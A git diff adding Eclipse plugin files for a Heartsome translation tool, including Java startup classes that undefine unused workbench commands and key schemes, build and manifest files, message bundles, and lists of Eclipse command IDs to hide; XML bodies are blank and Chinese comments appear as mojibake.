+Fragment-Host: net.heartsome.cat.common.ui.shield;bundle-version="1.0.0" +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/base_commons/net.heartsome.cat.common.ui.shield.workbench/build.properties b/base_commons/net.heartsome.cat.common.ui.shield.workbench/build.properties new file mode 100644 index 0000000..fed65a4 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.workbench/build.properties @@ -0,0 +1,6 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + fragment.xml \ No newline at end of file diff --git a/base_commons/net.heartsome.cat.common.ui.shield.workbench/fragment.xml b/base_commons/net.heartsome.cat.common.ui.shield.workbench/fragment.xml new file mode 100644 index 0000000..231c435 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.workbench/fragment.xml @@ -0,0 +1,564 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_commons/net.heartsome.cat.common.ui.shield.workbench/src/net/heartsome/cat/common/ui/shield/workbench/ShieldWorkbenchCommandStartup.java b/base_commons/net.heartsome.cat.common.ui.shield.workbench/src/net/heartsome/cat/common/ui/shield/workbench/ShieldWorkbenchCommandStartup.java new file mode 100644 index 0000000..74d0802 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.workbench/src/net/heartsome/cat/common/ui/shield/workbench/ShieldWorkbenchCommandStartup.java @@ -0,0 +1,20 @@ +package net.heartsome.cat.common.ui.shield.workbench; + +import java.util.Set; + +import net.heartsome.cat.common.ui.shield.AbstractShieldCommandStartup; + +/** + * 在工作å°åˆå§‹åŒ–åŽï¼Œç§»é™¤ä¸éœ€è¦ç”¨åˆ°çš„ workbench(org.eclipse.ui æ’件æ供) command。 + * @author cheney + * @since JDK1.6 + */ +public class ShieldWorkbenchCommandStartup extends AbstractShieldCommandStartup { + private final static String CONF_FILE_PATH = "/unusedWorkbenchCommand.ini"; + + @Override + protected Set getUnusedCommandSet() { + return readUnusedCommandFromFile(CONF_FILE_PATH); + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.shield/.classpath b/base_commons/net.heartsome.cat.common.ui.shield/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/base_commons/net.heartsome.cat.common.ui.shield/.gitignore b/base_commons/net.heartsome.cat.common.ui.shield/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/base_commons/net.heartsome.cat.common.ui.shield/.project b/base_commons/net.heartsome.cat.common.ui.shield/.project new file mode 100644 index 0000000..19a3409 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.common.ui.shield + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/base_commons/net.heartsome.cat.common.ui.shield/.settings/org.eclipse.jdt.core.prefs b/base_commons/net.heartsome.cat.common.ui.shield/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..6a38e21 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 17:52:45 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/base_commons/net.heartsome.cat.common.ui.shield/META-INF/MANIFEST.MF b/base_commons/net.heartsome.cat.common.ui.shield/META-INF/MANIFEST.MF new file mode 100644 index 0000000..10c2212 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield/META-INF/MANIFEST.MF @@ -0,0 +1,12 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome Common UI Shield +Bundle-SymbolicName: net.heartsome.cat.common.ui.shield;singleton:=true +Bundle-Version: 8.0.0.R8b_v20121112 +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Require-Bundle: org.eclipse.ui;bundle-version="3.5.0", + org.eclipse.core.runtime;bundle-version="3.5.0" +Bundle-Activator: net.heartsome.cat.common.ui.shield.ShieldActivator +Import-Package: org.slf4j +Bundle-ActivationPolicy: lazy +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/base_commons/net.heartsome.cat.common.ui.shield/build.properties b/base_commons/net.heartsome.cat.common.ui.shield/build.properties new file mode 100644 index 0000000..66927d0 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield/build.properties @@ -0,0 +1,6 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml diff --git a/base_commons/net.heartsome.cat.common.ui.shield/plugin.xml b/base_commons/net.heartsome.cat.common.ui.shield/plugin.xml new file mode 100644 index 0000000..6326297 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield/plugin.xml @@ -0,0 +1,83 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/AbstractShieldCommandStartup.java b/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/AbstractShieldCommandStartup.java new file mode 100644 index 0000000..69d5592 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/AbstractShieldCommandStartup.java @@ -0,0 +1,104 @@ +package net.heartsome.cat.common.ui.shield; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.IOException; +import java.io.InputStreamReader; +import java.text.MessageFormat; +import java.util.Collections; +import java.util.HashSet; +import java.util.Set; + +import net.heartsome.cat.common.ui.shield.resource.Messages; + +import org.eclipse.core.commands.Command; +import org.eclipse.ui.IStartup; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.commands.ICommandService; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 在工作å°åˆå§‹åŒ–åŽï¼Œç§»é™¤ä¸éœ€è¦ç”¨åˆ°çš„å¹³å°é»˜è®¤ command。 + * @author cheney + * @since JDK1.6 + */ +public abstract class AbstractShieldCommandStartup implements IStartup { + + private final static Logger LOGGER = LoggerFactory.getLogger(AbstractShieldCommandStartup.class); + + public void earlyStartup() { + final IWorkbench workbench = PlatformUI.getWorkbench(); + workbench.getDisplay().asyncExec(new Runnable() { + + public void run() { + Set unusedCommand = getUnusedCommandSet(); + ICommandService commandService = (ICommandService) workbench.getService(ICommandService.class); + Command command; + for (String commandId : unusedCommand) { + command = commandService.getCommand(commandId); + command.undefine(); + } + } + }); + } + + /** + * ä¸éœ€è¦ç”¨åˆ°çš„å¹³å°é»˜è®¤ command id 集åˆã€‚ + * @return ä¸éœ€è¦ç”¨åˆ°çš„å¹³å°é»˜è®¤ command id 集åˆï¼Œéž NULL; + */ + abstract protected Set getUnusedCommandSet(); + + @SuppressWarnings("unchecked") + protected Set readUnusedCommandFromFile(String relativePath) { + Set set = Collections.EMPTY_SET; + File file = ShieldActivator.getFile(relativePath); + if (file != null) { + BufferedReader br = null; + try { + br = new BufferedReader(new InputStreamReader(new FileInputStream(file))); + String line = null; + set = new HashSet(); + while ((line = br.readLine()) != null) { + // 忽略以 # 开头注释行 + if (line.startsWith("#")) + continue; + line = line.trim(); + // 忽略空行 + if (line.length() == 0) + continue; + set.add(line); + } + } catch (FileNotFoundException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("shield.AbstractShieldCommandStartup.logger1"); + Object[] args = { file.getAbsolutePath() }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (IOException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("shield.AbstractShieldCommandStartup.logger2"); + Object[] args = { file.getAbsolutePath() }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } finally { + if (br != null) { + try { + br.close(); + } catch (IOException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("shield.AbstractShieldCommandStartup.logger3"); + Object[] args = { file.getAbsolutePath() }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } + } + } + } + return set; + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/ShieldActivator.java b/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/ShieldActivator.java new file mode 100644 index 0000000..c0e63d1 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/ShieldActivator.java @@ -0,0 +1,75 @@ +package net.heartsome.cat.common.ui.shield; + +import java.io.File; +import java.net.URL; +import java.text.MessageFormat; + +import net.heartsome.cat.common.ui.shield.resource.Messages; + +import org.eclipse.core.runtime.FileLocator; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + *æ­¤æ’件的 Activator ç±» + * @author cheney + * @since JDK1.6 + */ +public class ShieldActivator extends AbstractUIPlugin { + + public final static String PLUGIN_ID = "net.heartsome.cat.common.ui.shield"; + + private final static Logger LOGGER = LoggerFactory.getLogger(ShieldActivator.class); + + private static ShieldActivator plugin; + + public ShieldActivator() { + // TODO Auto-generated constructor stub + } + + @Override + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + @Override + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * @return the shared instance + */ + public static ShieldActivator getDefault() { + return plugin; + } + + /** + * æ ¹æ®ç›¸å¯¹äºŽæ’件根目录的相对路径,在æ’件中查找相应的文件,查找æˆåŠŸåˆ™è¿”回对应的文件对象 + * @param relativePath + * 对于æ’件根目录的相对路径 + * @return 查找æˆåŠŸåˆ™è¿”回对应的文件对象,å¦åˆ™è¿”回 NULL; + */ + public static File getFile(String relativePath) { + File file = null; + URL langCodesURL = plugin.getBundle().getEntry(relativePath); + if (langCodesURL != null) { + try { + file = new File(FileLocator.toFileURL(langCodesURL).getPath()); + } catch (Exception e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("shield.ShieldActivator.logger1"); + Object[] args = { relativePath }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } + } + return file; + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/ShieldStartup.java b/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/ShieldStartup.java new file mode 100644 index 0000000..8c807e9 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/ShieldStartup.java @@ -0,0 +1,39 @@ +package net.heartsome.cat.common.ui.shield; + +import org.eclipse.jface.bindings.Scheme; +import org.eclipse.ui.IStartup; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.keys.IBindingService; + +/** + * 在工作å°åˆå§‹åŒ–åŽï¼Œç§»é™¤å¹³å°é»˜è®¤çš„ scheme + * @author cheney + * @since JDK1.6 + */ +public class ShieldStartup implements IStartup { + + private final static String platformDefaultScheme = "org.eclipse.ui.defaultAcceleratorConfiguration"; + private final static String platformEmacsScheme = "org.eclipse.ui.emacsAcceleratorConfiguration"; + + public void earlyStartup() { + final IWorkbench workbench = PlatformUI.getWorkbench(); + workbench.getDisplay().asyncExec(new Runnable() { + + public void run() { + // 在工作å°åˆå§‹åŒ–åŽï¼Œç§»é™¤å¹³å°é»˜è®¤çš„ scheme + IBindingService bindingService = (IBindingService) workbench.getService(IBindingService.class); + + Scheme[] schemes = bindingService.getDefinedSchemes(); + for (int i = 0; i < schemes.length; i++) { + String id = schemes[i].getId(); + if (id.equals(platformDefaultScheme) || id.equals(platformEmacsScheme)) { + schemes[i].undefine(); + } + } + } + }); + } + + +} diff --git a/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/handlers/DisabledNewEditorHandler.java b/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/handlers/DisabledNewEditorHandler.java new file mode 100644 index 0000000..f33ec0d --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/handlers/DisabledNewEditorHandler.java @@ -0,0 +1,31 @@ +package net.heartsome.cat.common.ui.shield.handlers; + +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.IHandler; +import org.eclipse.core.commands.IHandlerListener; + +public class DisabledNewEditorHandler implements IHandler { + + public void addHandlerListener(IHandlerListener handlerListener) { + } + + public void dispose() { + } + + public Object execute(ExecutionEvent event) throws ExecutionException { + return null; + } + + public boolean isEnabled() { + return false; // 设为ä¸å¯ç”¨ + } + + public boolean isHandled() { + return true; + } + + public void removeHandlerListener(IHandlerListener handlerListener) { + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/resource/Messages.java b/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/resource/Messages.java new file mode 100644 index 0000000..346e8ad --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.common.ui.shield.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.common.ui.shield.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/resource/message.properties b/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/resource/message.properties new file mode 100644 index 0000000..0014b3e --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/resource/message.properties @@ -0,0 +1,4 @@ +shield.AbstractShieldCommandStartup.logger1 = [LOG] \u6587\u4ef6 {0} \u4e0d\u5b58\u5728\u3002 +shield.AbstractShieldCommandStartup.logger2 = [LOG] \u8bfb\u53d6\u6587\u4ef6 {0} \u5931\u8d25\u3002 +shield.AbstractShieldCommandStartup.logger3 = [LOG] \u5173\u95ed\u6587\u4ef6 {0} \u5931\u8d25\u3002 +shield.ShieldActivator.logger1 = [LOG] \u67e5\u627e\u6587\u4ef6 {0} \u5931\u8d25\u3002 \ No newline at end of file diff --git a/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/resource/message_en.properties b/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/resource/message_en.properties new file mode 100644 index 0000000..02bd108 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/resource/message_en.properties @@ -0,0 +1,4 @@ +shield.AbstractShieldCommandStartup.logger1 = [LOG] \u6587\u4ef6 {0} \u4e0d\u5b58\u5728\u3002 +shield.AbstractShieldCommandStartup.logger2 = [LOG] \u8bfb\u53d6\u6587\u4ef6 {0} \u5931\u8d25\u3002 +shield.AbstractShieldCommandStartup.logger3 = [LOG] \u5173\u95ed\u6587\u4ef6 {0} \u5931\u8d25\u3002 +shield.ShieldActivator.logger1 = [LOG] \u67e5\u627e\u6587\u4ef6 {0} \u5931\u8d25\u3002 diff --git a/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/resource/message_zh.properties b/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/resource/message_zh.properties new file mode 100644 index 0000000..0014b3e --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield/src/net/heartsome/cat/common/ui/shield/resource/message_zh.properties @@ -0,0 +1,4 @@ +shield.AbstractShieldCommandStartup.logger1 = [LOG] \u6587\u4ef6 {0} \u4e0d\u5b58\u5728\u3002 +shield.AbstractShieldCommandStartup.logger2 = [LOG] \u8bfb\u53d6\u6587\u4ef6 {0} \u5931\u8d25\u3002 +shield.AbstractShieldCommandStartup.logger3 = [LOG] \u5173\u95ed\u6587\u4ef6 {0} \u5931\u8d25\u3002 +shield.ShieldActivator.logger1 = [LOG] \u67e5\u627e\u6587\u4ef6 {0} \u5931\u8d25\u3002 \ No newline at end of file diff --git a/base_commons/net.heartsome.cat.common.ui.shield/unusedIDECommand.ini b/base_commons/net.heartsome.cat.common.ui.shield/unusedIDECommand.ini new file mode 100644 index 0000000..2a270e8 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield/unusedIDECommand.ini @@ -0,0 +1,144 @@ +# -- org.eclipse.ui.ide -- +org.eclipse.ui.file.openWorkspace +org.eclipse.ui.file.newQuickMenu +org.eclipse.ui.navigate.showInQuickMenu +org.eclipse.ui.navigate.openResource +org.eclipse.ui.project.buildProject +org.eclipse.ui.project.rebuildProject +org.eclipse.ui.project.buildAutomatically +org.eclipse.ui.project.buildAll +org.eclipse.ui.project.rebuildAll +org.eclipse.ui.project.buildLast +org.eclipse.ui.project.cleanAction +org.eclipse.ui.edit.addTask +org.eclipse.jdt.ui.edit.text.java.correction.assist.proposals +org.eclipse.ui.navigate.selectWorkingSets +org.eclipse.ui.navigate.addToWorkingSet +org.eclipse.ui.navigate.removeFromWorkingSet +org.eclipse.ui.update.manageConfiguration +org.eclipse.ui.update.findAndInstallUpdates +org.eclipse.ui.navigate.showResourceByPath +org.eclipse.ui.ide.OpenMarkersView +org.eclipse.ui.ide.deleteCompleted +org.eclipse.ui.ide.markCompleted +org.eclipse.ui.ide.copyBuildIdCommand +org.eclipse.ui.ide.copyConfigCommand +# -- org.eclipse.ui.views -- +org.eclipse.ui.views.properties.NewPropertySheetCommand +# -- org.eclipse.ui.workbench.texteditor -- +org.eclipse.ui.edit.text.delete.line +org.eclipse.ui.edit.text.cut.line +org.eclipse.ui.edit.text.delete.line.to.beginning +org.eclipse.ui.edit.text.cut.line.to.beginning +org.eclipse.ui.edit.text.delete.line.to.end +org.eclipse.ui.edit.text.cut.line.to.end +org.eclipse.ui.edit.text.join.lines +org.eclipse.ui.edit.text.set.mark +org.eclipse.ui.edit.text.clear.mark +org.eclipse.ui.edit.text.swap.mark +#org.eclipse.ui.edit.findNext +#org.eclipse.ui.edit.findPrevious +#org.eclipse.ui.edit.findIncremental +#org.eclipse.ui.edit.findIncrementalReverse +org.eclipse.ui.edit.revertToSaved +org.eclipse.ui.edit.text.goto.lineUp +org.eclipse.ui.edit.text.goto.lineDown +org.eclipse.ui.edit.text.goto.lineStart +org.eclipse.ui.edit.text.goto.lineEnd +org.eclipse.ui.edit.text.goto.line +org.eclipse.ui.edit.text.goto.columnPrevious +org.eclipse.ui.edit.text.goto.columnNext +org.eclipse.ui.edit.text.goto.pageUp +org.eclipse.ui.edit.text.goto.pageDown +org.eclipse.ui.edit.text.goto.wordPrevious +org.eclipse.ui.edit.text.goto.wordNext +org.eclipse.ui.edit.text.goto.textStart +org.eclipse.ui.edit.text.goto.textEnd +org.eclipse.ui.edit.text.goto.windowStart +org.eclipse.ui.edit.text.goto.windowEnd +org.eclipse.ui.edit.text.scroll.lineUp +org.eclipse.ui.edit.text.scroll.lineDown +org.eclipse.ui.edit.text.select.lineUp +org.eclipse.ui.edit.text.select.lineDown +org.eclipse.ui.edit.text.select.lineStart +org.eclipse.ui.edit.text.select.lineEnd +org.eclipse.ui.edit.text.select.columnPrevious +org.eclipse.ui.edit.text.select.columnNext +org.eclipse.ui.edit.text.select.pageUp +org.eclipse.ui.edit.text.select.pageDown +org.eclipse.ui.edit.text.select.wordPrevious +org.eclipse.ui.edit.text.select.wordNext +org.eclipse.ui.edit.text.select.textStart +org.eclipse.ui.edit.text.select.textEnd +org.eclipse.ui.edit.text.select.windowStart +org.eclipse.ui.edit.text.select.windowEnd +org.eclipse.ui.edit.text.deletePrevious +org.eclipse.ui.edit.text.deleteNext +org.eclipse.ui.edit.text.deletePreviousWord +org.eclipse.ui.edit.text.deleteNextWord +org.eclipse.ui.edit.text.shiftRight +org.eclipse.ui.edit.text.shiftLeft +org.eclipse.ui.edit.text.toggleOverwrite +org.eclipse.ui.edit.text.showRulerContextMenu +#org.eclipse.ui.edit.text.gotoLastEditPosition +org.eclipse.ui.edit.text.smartEnter +org.eclipse.ui.edit.text.smartEnterInverse +org.eclipse.ui.edit.text.moveLineUp +org.eclipse.ui.edit.text.moveLineDown +org.eclipse.ui.edit.text.copyLineUp +org.eclipse.ui.edit.text.copyLineDown +org.eclipse.ui.edit.text.upperCase +org.eclipse.ui.edit.text.lowerCase +org.eclipse.ui.edit.text.toggleShowSelectedElementOnly +#org.eclipse.ui.edit.text.toggleBlockSelectionMode +org.eclipse.ui.edit.text.toggleInsertMode +#org.eclipse.ui.edit.text.hippieCompletion +org.eclipse.ui.edit.text.recenter +#org.eclipse.ui.edit.text.toggleShowWhitespaceCharacters +#org.eclipse.ui.edit.text.showInformation + +# Add By Peason on 2012-04-05 +# -- org.eclipse.ui.workbench.texteditor -- +org.eclipse.ui.edit.findNext +org.eclipse.ui.edit.findPrevious +org.eclipse.ui.edit.findIncremental +org.eclipse.ui.edit.findIncrementalReverse +org.eclipse.ui.edit.text.showInformation +org.eclipse.ui.edit.text.toggleShowWhitespaceCharacters +org.eclipse.ui.edit.text.toggleBlockSelectionMode +org.eclipse.ui.edit.text.hippieCompletion + +org.eclipse.ui.edit.text.open.hyperlink + +# -- org.eclipse.ui.editors -- +org.eclipse.ui.edit.text.gotoLastEditPosition + +org.eclipse.ui.editors.revisions.rendering.cycle +org.eclipse.quickdiff.toggle +org.eclipse.ui.edit.text.removeTrailingWhitespace +org.eclipse.ui.edit.text.folding.restore +org.eclipse.ui.editors.quickdiff.revertLine +org.eclipse.ui.editors.quickdiff.revert +org.eclipse.ui.edit.text.showChangeRulerInformation +org.eclipse.ui.edit.text.showRulerAnnotationInformation +org.eclipse.ui.edit.text.folding.toggle +org.eclipse.ui.editors.revisions.author.toggle +org.eclipse.ui.editors.revisions.id.toggle +org.eclipse.ui.edit.text.folding.collapse +org.eclipse.ui.edit.text.folding.collapse_all +org.eclipse.ui.edit.text.folding.expand_all +org.eclipse.ui.edit.text.folding.expand +org.eclipse.ui.edit.text.delimiter.macOS9 +org.eclipse.ui.edit.text.delimiter.unix +org.eclipse.ui.edit.text.delimiter.windows +org.eclipse.ui.editors.lineNumberToggle + +# -- org.eclipse.ui.ide -- +org.eclipse.ui.navigate.goToResource +org.eclipse.ui.edit.text.openLocalFile +org.eclipse.ui.project.openProject + +# -- org.eclipse.help.ui -- +org.eclipse.help.ui.closeTray +org.eclipse.help.ui.indexcommand +org.eclipse.ui.browser.openBundleResource \ No newline at end of file diff --git a/base_commons/net.heartsome.cat.common.ui.shield/unusedWorkbenchCommand.ini b/base_commons/net.heartsome.cat.common.ui.shield/unusedWorkbenchCommand.ini new file mode 100644 index 0000000..0dc1dc9 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield/unusedWorkbenchCommand.ini @@ -0,0 +1,75 @@ +# -- org.eclipse.ui -- +org.eclipse.ui.help.quickStartAction +org.eclipse.ui.help.tipsAndTricksAction +org.eclipse.ui.help.installationDialog +org.eclipse.ui.file.print +#org.eclipse.ui.file.revert +org.eclipse.ui.file.restartWorkbench +org.eclipse.ui.edit.text.contentAssist.proposals +org.eclipse.ui.edit.text.contentAssist.contextInformation +org.eclipse.ui.edit.addBookmark +org.eclipse.ui.navigate.goInto +org.eclipse.ui.navigate.back +org.eclipse.ui.navigate.forward +org.eclipse.ui.navigate.up +#org.eclipse.ui.navigate.next +#org.eclipse.ui.navigate.previous +org.eclipse.ui.window.newWindow +#org.eclipse.ui.window.newEditor +org.eclipse.ui.window.openEditorDropDown +org.eclipse.ui.window.quickAccess +org.eclipse.ui.window.switchToEditor +#org.eclipse.ui.window.showViewMenu +org.eclipse.ui.window.activateEditor +org.eclipse.ui.window.nextEditor +org.eclipse.ui.window.previousEditor +org.eclipse.ui.window.nextView +org.eclipse.ui.window.previousView +org.eclipse.ui.window.nextPerspective +org.eclipse.ui.window.previousPerspective +org.eclipse.ui.file.closePart +org.eclipse.ui.window.customizePerspective +org.eclipse.ui.window.hideShowEditors +org.eclipse.ui.window.pinEditor +org.eclipse.ui.window.preferences +org.eclipse.ui.ToggleCoolbarAction +org.eclipse.ui.views.showView +#org.eclipse.ui.perspectives.showPerspective +org.eclipse.ui.part.nextPage +org.eclipse.ui.part.previousPage +org.eclipse.ui.navigate.nextSubTab +org.eclipse.ui.navigate.previousSubTab +#org.eclipse.ui.navigate.collapseAll +org.eclipse.ui.navigate.showIn + +# Add By Peason on 2012-04-05 +org.eclipse.ui.navigate.next +org.eclipse.ui.navigate.previous +org.eclipse.ui.window.newEditor +org.eclipse.ui.edit.move + +org.eclipse.ui.navigate.backwardHistory +org.eclipse.ui.navigate.forwardHistory +org.eclipse.ui.window.closeAllPerspectives +org.eclipse.ui.navigate.nextTab +org.eclipse.ui.navigate.previousTab +org.eclipse.ui.window.spy +org.eclipse.ui.window.closePerspective + +org.eclipse.ui.navigate.collapseAll +org.eclipse.ui.navigate.expandAll +#org.eclipse.ui.window.resetPerspective +org.eclipse.ui.file.revert +org.eclipse.ui.window.savePerspective +#org.eclipse.ui.perspectives.showPerspective +org.eclipse.ui.window.showSystemMenu +org.eclipse.ui.window.showViewMenu +#org.eclipse.ui.navigate.linkWithEditor + +org.eclipse.ui.file.properties +org.eclipse.ui.newWizard +org.eclipse.ui.window.maximizePart +org.eclipse.ui.edit.rename +org.eclipse.ui.file.saveAll +org.eclipse.ui.file.closeAll +org.eclipse.ui.file.refresh \ No newline at end of file diff --git a/base_commons/net.heartsome.cat.common.ui/.classpath b/base_commons/net.heartsome.cat.common.ui/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/base_commons/net.heartsome.cat.common.ui/.gitignore b/base_commons/net.heartsome.cat.common.ui/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/base_commons/net.heartsome.cat.common.ui/.project b/base_commons/net.heartsome.cat.common.ui/.project new file mode 100644 index 0000000..dce50ce --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.common.ui + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/base_commons/net.heartsome.cat.common.ui/.settings/org.eclipse.jdt.core.prefs b/base_commons/net.heartsome.cat.common.ui/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..11696b0 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Tue Jun 22 11:33:21 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/base_commons/net.heartsome.cat.common.ui/META-INF/MANIFEST.MF b/base_commons/net.heartsome.cat.common.ui/META-INF/MANIFEST.MF new file mode 100644 index 0000000..9380149 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/META-INF/MANIFEST.MF @@ -0,0 +1,33 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome Common UI +Bundle-SymbolicName: net.heartsome.cat.common.ui +Bundle-Version: 8.0.2.R8b_v20131225 +Bundle-Activator: net.heartsome.cat.common.ui.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + org.eclipse.core.filesystem;bundle-version="1.3.100", + org.eclipse.ui.ide +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Export-Package: net.heartsome.cat.common.ui, + net.heartsome.cat.common.ui.dialog, + net.heartsome.cat.common.ui.handlers, + 